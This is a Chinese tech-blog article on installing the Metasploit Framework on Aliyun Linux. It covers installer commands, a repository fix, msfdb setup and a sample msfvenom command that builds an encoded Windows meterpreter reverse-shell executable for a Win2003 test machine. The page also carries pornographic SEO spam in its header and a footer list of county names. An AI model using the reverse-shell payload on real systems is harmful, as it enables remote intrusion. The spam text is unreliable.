久久r热视频,国产午夜精品一区二区三区视频,亚洲精品自拍偷拍,欧美日韩精品二区

您的位置:首頁技術(shù)文章
文章詳情頁

linux系統(tǒng)安裝msf的過程詳解

瀏覽:126日期:2024-04-15 14:38:09

還是自己寫下安裝過程吧!

我的服務器系統(tǒng)是 Aliyun linux

1、下載安裝curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

可能報錯:Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

是因為安裝庫的問題!解決方法:yum install -y epel-release然后再重復上面那條命令!

2、添加新用戶運行msfadduser msf #添加msf用戶su msf#切換到msf用戶cd /opt/metasploit-framework/bin #切換到msf所在的目錄./msfconsole#以后啟動msfconsole,都切換到msf用戶下啟動,這樣會同步數(shù)據(jù)庫。如果使用root用戶啟動的話,不會同步數(shù)據(jù)庫!(啟動索引已經(jīng)默認配好了!)直接 msfconsole 就可以啟動了!

#相關(guān)命令[msf@xxxx root]$ msfmsfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom#數(shù)據(jù)庫初始化[msf@xxxx root]$ msfdbCommands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component

#測試:e.g.我的虛擬主機是 Win2003(目標機)msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注:如果是彈性云服務器IP,LHOST 要設置為內(nèi)網(wǎng)分配IP,不能設公網(wǎng)IP [被這個坑折騰好久!!!吐血!!!]

linux系統(tǒng)安裝msf的過程詳解

ps:linux系統(tǒng)下安裝msf框架

命令:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.runchmod 755 metasploit-latest-linux-installer.run./metasploit-latest-linux-installer.run

等待運行結(jié)束即可。關(guān)鍵地方按回車和Y即可。

總結(jié)

到此這篇關(guān)于linux系統(tǒng)安裝msf的過程詳解的文章就介紹到這了,更多相關(guān)linux系統(tǒng)安裝msf內(nèi)容請搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)!

標簽: Linux系統(tǒng)
相關(guān)文章:
主站蜘蛛池模板: 新乐市| 绥中县| 阿坝县| 永顺县| 旅游| 五莲县| 施甸县| 天祝| 镇坪县| 遵义市| 浦城县| 龙游县| 卓尼县| 利辛县| 兴隆县| 确山县| 临安市| 壤塘县| 申扎县| 天祝| 如东县| 岑巩县| 墨玉县| 闸北区| 潜江市| 兴安县| 五家渠市| 盐城市| 博野县| 丽水市| 新余市| 旌德县| 丰镇市| 观塘区| 清徐县| 尼勒克县| 塘沽区| 华阴市| 庆云县| 平阳县| 遂宁市|